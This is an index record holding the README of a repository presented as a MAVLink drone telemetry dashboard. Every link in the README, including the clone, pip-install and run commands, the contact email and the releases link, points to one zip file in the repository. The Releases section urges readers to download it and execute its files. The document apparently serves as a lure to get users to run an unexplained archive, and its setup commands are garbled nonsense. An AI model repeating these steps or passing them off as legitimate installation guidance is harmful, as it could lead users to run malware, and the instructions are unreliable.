{"id":27156655,"url":"https://github.com/patron2222/drone_web_interface_909","last_synced_at":"2026-04-10T01:03:55.486Z","repository":{"id":286827030,"uuid":"962654970","full_name":"PATRON2222/Drone_Web_Interface_909","owner":"PATRON2222","description":"Telemetry Dashboard for MAVLink Drones 🚁📊  A real-time web interface built with React to visualize MAVLink telemetry data. It fetches JSON logs generated by pymavlink and displays critical drone parameters like attitude, battery status, and sensor readings. Includes a Python backend for handling telemetry data streams","archived":false,"fork":false,"pushed_at":"2025-04-10T01:39:44.000Z","size":2222,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-10T02:14:28.825Z","etag":null,"topics":["css","flask","flask-api","flask-application","html","mavlink","pymavlink","python","react","typescript"],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PATRON2222.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-04-08T13:30:50.000Z","updated_at":"2025-04-10T01:39:47.000Z","dependencies_parsed_at":"2025-04-10T02:14:31.426Z","dependency_job_id":null,"html_url":"https://github.com/PATRON2222/Drone_Web_Interface_909","commit_stats":null,"previous_names":["patron2222/drone_web_interface_909"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PATRON2222%2FDrone_Web_Interface_909","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PATRON2222%2FDrone_Web_Interface_909/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PATRON2222%2FDrone_Web_Interface_909/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PATRON2222%2FDrone_Web_Interface_909/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PATRON2222","download_url":"https://codeload.github.com/PATRON2222/Drone_Web_Interface_909/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248142903,"owners_count":21054671,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["css","flask","flask-api","flask-application","html","mavlink","pymavlink","python","react","typescript"],"created_at":"2025-04-08T20:31:49.719Z","updated_at":"2026-04-10T01:03:55.471Z","avatar_url":"https://github.com/PATRON2222.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Drone Web Interface 909 🚁📊\n\n![Drone Web Interface](https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip%20Web%20Interface%20909-Ready-blue)\n\nWelcome to the **Drone Web Interface 909**! This repository hosts a telemetry dashboard for MAVLink drones, designed to provide a real-time web interface that visualizes MAVLink telemetry data. \n\n## Table of Contents\n- [Introduction](#introduction)\n- [Features](#features)\n- [Technologies Used](#technologies-used)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Contributing](#contributing)\n- [License](#license)\n- [Contact](#contact)\n- [Releases](#releases)\n\n## Introduction\n\nThe **Drone Web Interface 909** allows users to monitor their MAVLink drones through an intuitive web dashboard. It fetches JSON logs generated by pymavlink and displays essential drone parameters, including attitude, battery status, and sensor readings. The project includes a Python backend that effectively handles telemetry data streams.\n\n## Features\n\n- **Real-Time Visualization**: View telemetry data in real-time.\n- **User-Friendly Interface**: Built with React for a seamless user experience.\n- **Comprehensive Data Display**: Monitor critical parameters like attitude, battery status, and sensor readings.\n- **Backend Support**: Python backend to manage telemetry data streams efficiently.\n- **Cross-Platform Compatibility**: Works on various devices with a web browser.\n\n## Technologies Used\n\nThis project leverages a variety of technologies to deliver a robust solution:\n\n- **Frontend**: \n  - React\n  - TypeScript\n  - CSS\n  - HTML\n\n- **Backend**: \n  - Python\n  - Flask\n  - Flask-API\n\n- **MAVLink**: \n  - pymavlink\n\n## Installation\n\nTo set up the Drone Web Interface on your local machine, follow these steps:\n\n1. **Clone the Repository**:\n   ```bash\n   git clone https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip\n   ```\n\n2. **Navigate to the Project Directory**:\n   ```bash\n   cd Drone_Web_Interface_909\n   ```\n\n3. **Install Backend Dependencies**:\n   Navigate to the backend directory and install the required Python packages.\n   ```bash\n   cd backend\n   pip install -r https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip\n   ```\n\n4. **Install Frontend Dependencies**:\n   Navigate to the frontend directory and install the required Node packages.\n   ```bash\n   cd ../frontend\n   npm install\n   ```\n\n5. **Run the Backend**:\n   Start the Flask server.\n   ```bash\n   python https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip\n   ```\n\n6. **Run the Frontend**:\n   In another terminal, start the React app.\n   ```bash\n   npm start\n   ```\n\nYour web interface should now be running at `http://localhost:3000`.\n\n## Usage\n\nOnce you have the application running, follow these steps to use the Drone Web Interface:\n\n1. **Connect Your Drone**: Ensure your MAVLink drone is connected and transmitting data.\n2. **Open the Web Interface**: Navigate to `http://localhost:3000` in your web browser.\n3. **Monitor Data**: Observe real-time telemetry data, including attitude, battery status, and sensor readings.\n\n## Contributing\n\nWe welcome contributions! If you want to help improve the Drone Web Interface, please follow these steps:\n\n1. **Fork the Repository**: Click on the \"Fork\" button at the top right of the page.\n2. **Create a New Branch**: \n   ```bash\n   git checkout -b feature/YourFeatureName\n   ```\n3. **Make Your Changes**: Implement your feature or fix.\n4. **Commit Your Changes**: \n   ```bash\n   git commit -m \"Add Your Feature\"\n   ```\n5. **Push to Your Branch**: \n   ```bash\n   git push origin feature/YourFeatureName\n   ```\n6. **Create a Pull Request**: Submit your changes for review.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor any inquiries or feedback, please reach out to the project maintainer:\n\n- **Name**: Your Name\n- **Email**: https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip\n- **GitHub**: [PATRON2222](https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip)\n\n## Releases\n\nYou can find the latest releases of the Drone Web Interface [here](https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip). Download the latest version and execute the necessary files to get started.\n\n---\n\nThank you for checking out the **Drone Web Interface 909**! We hope you find it useful for monitoring your MAVLink drones. Your feedback and contributions are always welcome!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpatron2222%2Fdrone_web_interface_909","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpatron2222%2Fdrone_web_interface_909","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpatron2222%2Fdrone_web_interface_909/lists"}